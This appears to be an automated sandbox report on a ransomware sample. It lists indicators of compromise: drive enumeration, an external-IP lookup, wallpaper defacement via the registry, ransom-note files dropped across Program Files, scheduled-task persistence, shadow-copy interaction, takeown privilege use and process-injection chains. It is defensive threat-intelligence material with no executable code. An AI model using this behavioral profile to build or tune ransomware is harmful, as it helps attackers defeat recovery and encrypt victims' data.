c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exefioBxEuy64.exe

description	ioc	process
File opened (read-only)	\??\Y:	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened (read-only)	\??\J:	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened (read-only)	\??\L:	fioBxEuy64.exe
File opened (read-only)	\??\N:	fioBxEuy64.exe
File opened (read-only)	\??\Y:	fioBxEuy64.exe
File opened (read-only)	\??\X:	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened (read-only)	\??\P:	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened (read-only)	\??\M:	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened (read-only)	\??\B:	fioBxEuy64.exe
File opened (read-only)	\??\U:	fioBxEuy64.exe
File opened (read-only)	\??\R:	fioBxEuy64.exe
File opened (read-only)	\??\W:	fioBxEuy64.exe
File opened (read-only)	\??\U:	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened (read-only)	\??\S:	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened (read-only)	\??\G:	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened (read-only)	\??\E:	fioBxEuy64.exe
File opened (read-only)	\??\O:	fioBxEuy64.exe
File opened (read-only)	\??\P:	fioBxEuy64.exe
File opened (read-only)	\??\Z:	fioBxEuy64.exe
File opened (read-only)	\??\I:	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened (read-only)	\??\H:	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened (read-only)	\??\A:	fioBxEuy64.exe
File opened (read-only)	\??\I:	fioBxEuy64.exe
File opened (read-only)	\??\Z:	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened (read-only)	\??\T:	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened (read-only)	\??\R:	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened (read-only)	\??\L:	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened (read-only)	\??\K:	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened (read-only)	\??\E:	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened (read-only)	\??\K:	fioBxEuy64.exe
File opened (read-only)	\??\M:	fioBxEuy64.exe
File opened (read-only)	\??\S:	fioBxEuy64.exe
File opened (read-only)	\??\X:	fioBxEuy64.exe
File opened (read-only)	\??\Q:	fioBxEuy64.exe
File opened (read-only)	\??\V:	fioBxEuy64.exe
File opened (read-only)	\??\Q:	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened (read-only)	\??\O:	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened (read-only)	\??\N:	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened (read-only)	\??\F:	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened (read-only)	\??\G:	fioBxEuy64.exe
File opened (read-only)	\??\H:	fioBxEuy64.exe
File opened (read-only)	\??\W:	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened (read-only)	\??\V:	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened (read-only)	\??\F:	fioBxEuy64.exe
File opened (read-only)	\??\J:	fioBxEuy64.exe
File opened (read-only)	\??\T:	fioBxEuy64.exe

Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

360 myexternalip.com

flow	ioc
360	myexternalip.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Roaming\\lellOlvJ.bmp"	reg.exe

Drops file in Program Files directory 64 IoCs

Processes:

c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe

description	ioc	process
File opened for modification	C:\Program Files\Mozilla Firefox\firefox.exe.sig	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\doclib.gif	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.core.databinding.beans_1.2.200.v20140214-0004.jar	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.core.databinding.property.nl_ja_4.4.0.v20140623020002.jar	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui_3.106.0.v20140812-1751.jar	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\ResiliencyLinks\Locales\el.pak.DATA	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.commands_5.5.0.165303.jar	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\jre\lib\deploy\[email protected]	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-utilities_zh_CN.jar	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\dialogs\equalizer_window.html	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.forms.nl_zh_4.4.0.v20140623020002.jar	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\km\LC_MESSAGES\vlc.mo	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\plugin.properties	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\p2\org.eclipse.equinox.p2.core\cache\binary\com.jrockit.mc.rcp.product_root_5.5.0.165303	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\ext\locale\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-openide-filesystems.xml	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files\Mozilla Firefox\uninstall\shortcuts_log.ini	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Locales\or.pak	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-modules-appui.xml	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Program Files\Java\jre1.8.0_66\lib\management\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bs\LC_MESSAGES\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\ResiliencyLinks\Trust Protection Lists\Mu\TransparentAdvertisers.DATA	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-charts_ja.jar	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_proxy\dev.identity_helper.exe.manifest	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\jre\lib\ext\cldrdata.jar	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\index.gif	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-netbeans-modules-masterfs-nio2.xml	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Program Files\Mozilla Firefox\defaults\pref\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\or\LC_MESSAGES\vlc.mo	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\89.0.4389.114\icudtl.dat	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\bin\appletviewer.exe	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Program Files\Java\jdk1.8.0_66\jre\lib\images\cursors\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\META-INF\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\jre\lib\jvm.hprof.txt	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\LICENSE	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\css\mobile.css	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\org-netbeans-lib-profiler.jar	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files\Mozilla Firefox\default-browser-agent.exe	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.diagnostic.zh_CN_5.5.0.165303.jar	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-api-search_zh_CN.jar	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.preferences_3.5.200.v20140224-1527.jar	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files\Java\jre1.8.0_66\lib\images\cursors\invalid32x32.gif	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.director.app.nl_zh_4.4.0.v20140623020002.jar	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-api-visual_zh_CN.jar	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-openide-text_ja.jar	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\jre\lib\psfont.properties.ja	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\ModuleAutoDeps\org-openide-loaders.xml	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.di.nl_zh_4.4.0.v20140623020002.jar	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fa\LC_MESSAGES\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.equinox.p2.core.feature_1.3.0.v20140523-0116\license.html	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Program Files\Java\jdk1.8.0_66\jre\lib\amd64\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.css.swt.theme_0.9.300.v20140424-2042.jar	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\ResiliencyLinks\WidevineCdm\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\jre\lib\security\cacerts	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-core-ui.jar	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\te\LC_MESSAGES\vlc.mo	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Program Files\Java\jdk1.8.0_66\include\win32\bridge\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.mbeanbrowser.zh_CN_5.5.0.165303.jar	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.help_2.0.102.v20141007-2301\META-INF\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\win7TSFrame.png	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\ResiliencyLinks\Locales\mt.pak.DATA	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\requests\playlist_jstree.xml	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
File created	C:\Program Files (x86)\Mozilla Maintenance Service\logs\#FOX_README#.rtf	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

3924 schtasks.exe
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Processes:

vssadmin.exe

pid process

2788 vssadmin.exe

pid	process
3924	schtasks.exe

pid	process
2788	vssadmin.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

powershell.exefioBxEuy64.exe

pid	process
3388	powershell.exe
3388	powershell.exe
1528	fioBxEuy64.exe
1528	fioBxEuy64.exe
1528	fioBxEuy64.exe
1528	fioBxEuy64.exe
1528	fioBxEuy64.exe
1528	fioBxEuy64.exe
1528	fioBxEuy64.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

fioBxEuy64.exe

pid process

1528 fioBxEuy64.exe

pid	process
1528	fioBxEuy64.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exetakeown.exefioBxEuy64.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exevssvc.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exeWMIC.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exe

description	pid	process
Token: SeDebugPrivilege	3388	powershell.exe
Token: SeTakeOwnershipPrivilege	3880	takeown.exe
Token: SeDebugPrivilege	1528	fioBxEuy64.exe
Token: SeLoadDriverPrivilege	1528	fioBxEuy64.exe
Token: SeTakeOwnershipPrivilege	1420	takeown.exe
Token: SeTakeOwnershipPrivilege	1760	takeown.exe
Token: SeTakeOwnershipPrivilege	2360	takeown.exe
Token: SeTakeOwnershipPrivilege	3992	takeown.exe
Token: SeTakeOwnershipPrivilege	2596	takeown.exe
Token: SeTakeOwnershipPrivilege	1912	takeown.exe
Token: SeTakeOwnershipPrivilege	3232	takeown.exe
Token: SeTakeOwnershipPrivilege	3632	takeown.exe
Token: SeTakeOwnershipPrivilege	1420	takeown.exe
Token: SeTakeOwnershipPrivilege	3524	takeown.exe
Token: SeTakeOwnershipPrivilege	1760	takeown.exe
Token: SeTakeOwnershipPrivilege	1508	takeown.exe
Token: SeTakeOwnershipPrivilege	2680	takeown.exe
Token: SeTakeOwnershipPrivilege	1096	takeown.exe
Token: SeTakeOwnershipPrivilege	940	takeown.exe
Token: SeTakeOwnershipPrivilege	2328	takeown.exe
Token: SeTakeOwnershipPrivilege	3332	takeown.exe
Token: SeTakeOwnershipPrivilege	3556	takeown.exe
Token: SeTakeOwnershipPrivilege	1988	takeown.exe
Token: SeTakeOwnershipPrivilege	2964	takeown.exe
Token: SeTakeOwnershipPrivilege	3332	takeown.exe
Token: SeBackupPrivilege	2680	vssvc.exe
Token: SeRestorePrivilege	2680	vssvc.exe
Token: SeAuditPrivilege	2680	vssvc.exe
Token: SeTakeOwnershipPrivilege	3780	takeown.exe
Token: SeTakeOwnershipPrivilege	876	takeown.exe
Token: SeTakeOwnershipPrivilege	2244	takeown.exe
Token: SeTakeOwnershipPrivilege	1988	takeown.exe
Token: SeTakeOwnershipPrivilege	3232	takeown.exe
Token: SeTakeOwnershipPrivilege	3780	takeown.exe
Token: SeIncreaseQuotaPrivilege	996	WMIC.exe
Token: SeSecurityPrivilege	996	WMIC.exe
Token: SeTakeOwnershipPrivilege	996	WMIC.exe
Token: SeLoadDriverPrivilege	996	WMIC.exe
Token: SeSystemProfilePrivilege	996	WMIC.exe
Token: SeSystemtimePrivilege	996	WMIC.exe
Token: SeProfSingleProcessPrivilege	996	WMIC.exe
Token: SeIncBasePriorityPrivilege	996	WMIC.exe
Token: SeCreatePagefilePrivilege	996	WMIC.exe
Token: SeBackupPrivilege	996	WMIC.exe
Token: SeRestorePrivilege	996	WMIC.exe
Token: SeShutdownPrivilege	996	WMIC.exe
Token: SeDebugPrivilege	996	WMIC.exe
Token: SeSystemEnvironmentPrivilege	996	WMIC.exe
Token: SeRemoteShutdownPrivilege	996	WMIC.exe
Token: SeUndockPrivilege	996	WMIC.exe
Token: SeManageVolumePrivilege	996	WMIC.exe
Token: 33	996	WMIC.exe
Token: 34	996	WMIC.exe
Token: 35	996	WMIC.exe
Token: 36	996	WMIC.exe
Token: SeTakeOwnershipPrivilege	4040	takeown.exe
Token: SeTakeOwnershipPrivilege	3172	takeown.exe
Token: SeTakeOwnershipPrivilege	284	takeown.exe
Token: SeTakeOwnershipPrivilege	3796	takeown.exe
Token: SeTakeOwnershipPrivilege	2360	takeown.exe
Token: SeTakeOwnershipPrivilege	2168	takeown.exe
Token: SeTakeOwnershipPrivilege	3464	takeown.exe
Token: SeTakeOwnershipPrivilege	1604	takeown.exe
Token: SeTakeOwnershipPrivilege	284	takeown.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.execmd.execmd.execmd.execmd.execmd.exefioBxEuy.execmd.execmd.exe

description	pid	process	target process
PID 2088 wrote to memory of 556	2088	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe	cmd.exe
PID 2088 wrote to memory of 556	2088	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe	cmd.exe
PID 2088 wrote to memory of 556	2088	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe	cmd.exe
PID 2088 wrote to memory of 3440	2088	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe	NWJRweQX.exe
PID 2088 wrote to memory of 3440	2088	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe	NWJRweQX.exe
PID 2088 wrote to memory of 3440	2088	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe	NWJRweQX.exe
PID 2088 wrote to memory of 1932	2088	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe	cmd.exe
PID 2088 wrote to memory of 1932	2088	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe	cmd.exe
PID 2088 wrote to memory of 1932	2088	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe	cmd.exe
PID 1932 wrote to memory of 3388	1932	cmd.exe	powershell.exe
PID 1932 wrote to memory of 3388	1932	cmd.exe	powershell.exe
PID 1932 wrote to memory of 3388	1932	cmd.exe	powershell.exe
PID 2088 wrote to memory of 1464	2088	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe	cmd.exe
PID 2088 wrote to memory of 1464	2088	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe	cmd.exe
PID 2088 wrote to memory of 1464	2088	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe	cmd.exe
PID 2088 wrote to memory of 1384	2088	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe	cmd.exe
PID 2088 wrote to memory of 1384	2088	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe	cmd.exe
PID 2088 wrote to memory of 1384	2088	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe	cmd.exe
PID 1464 wrote to memory of 2132	1464	cmd.exe	reg.exe
PID 1464 wrote to memory of 2132	1464	cmd.exe	reg.exe
PID 1464 wrote to memory of 2132	1464	cmd.exe	reg.exe
PID 1384 wrote to memory of 2360	1384	cmd.exe	wscript.exe
PID 1384 wrote to memory of 2360	1384	cmd.exe	wscript.exe
PID 1384 wrote to memory of 2360	1384	cmd.exe	wscript.exe
PID 1464 wrote to memory of 1568	1464	cmd.exe	reg.exe
PID 1464 wrote to memory of 1568	1464	cmd.exe	reg.exe
PID 1464 wrote to memory of 1568	1464	cmd.exe	reg.exe
PID 1464 wrote to memory of 2244	1464	cmd.exe	reg.exe
PID 1464 wrote to memory of 2244	1464	cmd.exe	reg.exe
PID 1464 wrote to memory of 2244	1464	cmd.exe	reg.exe
PID 2088 wrote to memory of 2000	2088	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe	cmd.exe
PID 2088 wrote to memory of 2000	2088	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe	cmd.exe
PID 2088 wrote to memory of 2000	2088	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe	cmd.exe
PID 2000 wrote to memory of 3840	2000	cmd.exe	cacls.exe
PID 2000 wrote to memory of 3840	2000	cmd.exe	cacls.exe
PID 2000 wrote to memory of 3840	2000	cmd.exe	cacls.exe
PID 2000 wrote to memory of 3880	2000	cmd.exe	takeown.exe
PID 2000 wrote to memory of 3880	2000	cmd.exe	takeown.exe
PID 2000 wrote to memory of 3880	2000	cmd.exe	takeown.exe
PID 2000 wrote to memory of 2908	2000	cmd.exe	cmd.exe
PID 2000 wrote to memory of 2908	2000	cmd.exe	cmd.exe
PID 2000 wrote to memory of 2908	2000	cmd.exe	cmd.exe
PID 2908 wrote to memory of 1880	2908	cmd.exe	fioBxEuy.exe
PID 2908 wrote to memory of 1880	2908	cmd.exe	fioBxEuy.exe
PID 2908 wrote to memory of 1880	2908	cmd.exe	fioBxEuy.exe
PID 1880 wrote to memory of 1528	1880	fioBxEuy.exe	fioBxEuy64.exe
PID 1880 wrote to memory of 1528	1880	fioBxEuy.exe	fioBxEuy64.exe
PID 2088 wrote to memory of 1292	2088	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe	cmd.exe
PID 2088 wrote to memory of 1292	2088	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe	cmd.exe
PID 2088 wrote to memory of 1292	2088	c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe	cmd.exe
PID 1292 wrote to memory of 1280	1292	cmd.exe	cacls.exe
PID 1292 wrote to memory of 1280	1292	cmd.exe	cacls.exe
PID 1292 wrote to memory of 1280	1292	cmd.exe	cacls.exe
PID 1292 wrote to memory of 3460	1292	cmd.exe	takeown.exe
PID 1292 wrote to memory of 3460	1292	cmd.exe	takeown.exe
PID 1292 wrote to memory of 3460	1292	cmd.exe	takeown.exe
PID 1292 wrote to memory of 1928	1292	cmd.exe	cmd.exe
PID 1292 wrote to memory of 1928	1292	cmd.exe	cmd.exe
PID 1292 wrote to memory of 1928	1292	cmd.exe	cmd.exe
PID 1928 wrote to memory of 1552	1928	cmd.exe	fioBxEuy.exe
PID 1928 wrote to memory of 1552	1928	cmd.exe	fioBxEuy.exe
